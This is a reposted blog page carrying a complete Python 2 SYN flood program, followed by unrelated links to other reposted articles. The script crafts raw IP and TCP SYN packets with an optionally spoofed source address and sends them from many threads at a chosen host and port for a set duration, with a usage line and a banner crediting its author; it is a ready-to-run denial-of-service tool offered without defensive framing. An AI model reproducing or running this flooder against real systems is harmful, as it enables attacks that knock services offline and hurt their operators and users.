【转载】Synflood code
'''
Syn flood program in python by Tequila/e credits to Silver Moon for base's of syn packets. r
s
s
y
n
''' # some imports
import socket, sys, os
import threading
import time
import thread
from struct import * if len(sys.argv) < 5:
print("Usage: python rssyn.py <source ip> <destination ip> <destination port> <amount of threads> <time>");
sys.exit(); # checksum functions needed for calculation checksum
def checksum(msg):
s = 0
# loop taking 2 characters at a time
for i in range(0, len(msg), 2):
w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
s = s + w s = (s>>16) + (s & 0xffff);
#s = s + (s >> 16);
#complement and mask to 4 byte short
s = ~s & 0xffff return s #create a raw socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
except socket.error , msg:
print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message: ' + msg[1]
sys.exit() # tell kernel not to put in headers, since we are providing it
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # now start constructing the packet
packet = ''; source_ip = sys.argv[1]
dest_ip = sys.argv[2] # or socket.gethostbyname('www.google.com')
threads = sys.argv[4]
run_time_in_seconds = sys.argv[5]
os.system('clear')
print "##"
print "# r #"
print "# s #"
print "# s #"
print "# y #"
print "# n #"
print "# Flood #"
print "# Made by e #"
print "##"
# ip header fields
ihl = 5
version = 4
tos = 0
tot_len = 20 + 20 # python seems to correctly fill the total length, dont know how ??
id = 54321 #Id of this packet
frag_off = 0
ttl = 255
protocol = socket.IPPROTO_TCP
check = 10 # python seems to correctly fill the checksum
saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to
daddr = socket.inet_aton ( dest_ip ) ihl_version = (version << 4) + ihl # the ! in the pack format string means network order
ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr) # tcp header fields
source = 1234 # source port
dest = int(sys.argv[3]) # destination port
seq = 0
ack_seq = 0
doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes
#tcp flags
fin = 0
syn = 1
rst = 0
psh = 0
ack = 0
urg = 0
window = socket.htons (5840) # maximum allowed window size
check = 0
urg_ptr = 0 offset_res = (doff << 4) + 0
tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5) # the ! in the pack format string means network order
tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr) # pseudo header fields
source_address = socket.inet_aton( source_ip )
dest_address = socket.inet_aton(dest_ip)
placeholder = 0
protocol = socket.IPPROTO_TCP
tcp_length = len(tcp_header) psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
psh = psh + tcp_header; tcp_checksum = checksum(psh) # make the tcp header again and fill the correct checksum
tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum , urg_ptr) # final full packet - syn packets dont have any data
packet = ip_header + tcp_header
#Send the packet finally - the port specified has no effect print "Starting rssyn flood on " + str(dest_ip) + ":" + str(dest) + " from " + str(source_ip)
print "With " + str(threads) + " threads for " + str(run_time_in_seconds) + " seconds." start_time = time.time()
global spawned_threads
spawned_threads = []
spawned = 0
total_packets = 0
def sendPackets():
while (time.time() - start_time) < int(run_time_in_seconds):
s.sendto(packet, (dest_ip , 0 ))
global total_packets
total_packets += 1
print str(total_packets) + " Packets sent to " + dest_ip + "\r\n"
while (spawned < int(threads)):
c = threading.Thread(target=sendPackets)
spawned_threads.append(c)
spawned += 1
for Threader in spawned_threads:
Threader.start()
print str(Threader) + " Started"
for Threads in spawned_threads:
Threads.join()
print "All threads have finished flooding for " + run_time_in_seconds + " seconds.."
print "Flood stopping.."
print "Shutting Down"
【转载】Synflood code的更多相关文章
- 转载:CODE CSDN Git 配制方法介绍
以前一直使用Github,最近看到CSDN出了CODE代码托管功能,由于国内的阿里云服务器很稳定,而且不会被国 墙,所以果断的迁移了,下面就简单的介绍一下CODE的配置使用.其实CSDN的code 何 ...
- [转载]EF Code First 学习笔记:约定配置
要更改EF中的默认配置有两个方法,一个是用Data Annotations(在命名空间System.ComponentModel.DataAnnotations;),直接作用于类的属性上面;还有一个就 ...
- 转载Code First Migrations更新数据库架构的具体步骤
[转载] Code First Migrations更新数据库结构的具体步骤 我对 CodeFirst 的理解,与之对应的有 ModelFirst与 DatabaseFirst ,三者各有千秋,依项 ...
- 使用VS Code开发C++
1. 参考/转载 vs code进行c/c++开发 VSCode 的第一个C++程序(windows)[更新2018.10.28] 2. C++开发相关插件(扩展商店中直接搜索) 至少要装C/C++. ...
- EF的四种开发模式
EF提供了四种开发模式,具体如下:(转载)Code First(New DataBase) :在代码中定义类和映射关系并通过model生成数据库,使用迁移技术更新数据库.Code First(Exis ...
- Word Break leetcode java
题目: Given a string s and a dictionary of words dict, determine if s can be segmented into a space-se ...
- 【极力分享】[C#/.NET]Entity Framework(EF) Code First 多对多关系的实体增,删,改,查操作全程详细示例【转载自https://segmentfault.com/a/1190000004152660】
[C#/.NET]Entity Framework(EF) Code First 多对多关系的实体增,删,改,查操作全程详细示例 本文我们来学习一下在Entity Framework中使用Cont ...
- 转载:学习Entity Framework 中的Code First
看完觉得不错,适合作为学习资料,就转载过来了 原文链接:http://www.cnblogs.com/Wayou/archive/2012/09/20/EF_CodeFirst.html 这是上周就写 ...
- IoC容器Autofac - Autofac + Asp.net MVC + EF Code First(转载)
转载地址:http://www.cnblogs.com/JustRun1983/archive/2013/03/28/2981645.html 有修改 Autofac通过Controller默认构造 ...
随机推荐
- P2P(WFD)之RegClass *****************************TBD
三个Action Frame的IE会有带上RegClass的信息 Listen Channel element, Channel List element, Operation Channel ele ...
- maven中进行go的编译
maven提供的插件maven-antrun-plugin真是个好东东,使得maven可以利用ant的很多功能. 最近需要实现在maven中实现对go代码的编译,添加如下代码在pom文件中即可. &l ...
- powerdesigner 外键生成sql语句设置在创建表里面
根据情况需要将创建外键表的sql语句生成在创建表的sql语句中,如下设置:
- delphi RGB与TColor的转换
1.RGB转换为Tcolor function RGBToColor(R,G,B: byte): Tcolor;begin Result := B Shl 16 or G shl 8 or R;e ...
- P1368 工艺
题目描述 小敏和小燕是一对好朋友. 他们正在玩一种神奇的游戏,叫Minecraft. 他们现在要做一个由方块构成的长条工艺品.但是方块现在是乱的,而且由于机器的要求,他们只能做到把这个工艺品最左边的方 ...
- wmic的用法
原始文章链接:http://blog.sina.com.cn/s/blog_5fb265c70100w4d0.html 一.wmic的基本命令格式简析 经常看网上的相关资料的话,读者可能会对wmic有 ...
- [NOI2003] 文本编辑器 (splay)
复制炸格式了,就不贴题面了 [NOI2003] 文本编辑器 Solution 对于光标的移动,我们只要记录一下现在在哪里就可以了 Insert操作:手动维护中序遍历结果,即每次取中点像线段树一样一样递 ...
- 关于跨域策略文件crossdomain.xml文件--配置实例
转载自:http://bbs.phpchina.com/blog-52440-191623.html 我一直不太明白crossdomain.xml文件是干嘛用的,今天总算比较清楚的知道了一下. 这是F ...
- O(n^2)以及O(nlogn)时间复杂度的排序算法
O(n^2)的算法 都是做的升序. 简单选择排序 思路:每次选择还未排序的区间的最小值和未排序区间的第一个值交换. function selectSort(arr){ for(let i = 0; i ...
- jquery遍历之后代
向下遍历dom树的jquery方法 children()方法返回被选元素的所有直接子元素,只会对向下一级对dom树进行遍历. 例子 代码: $(document).ready(function(){ ...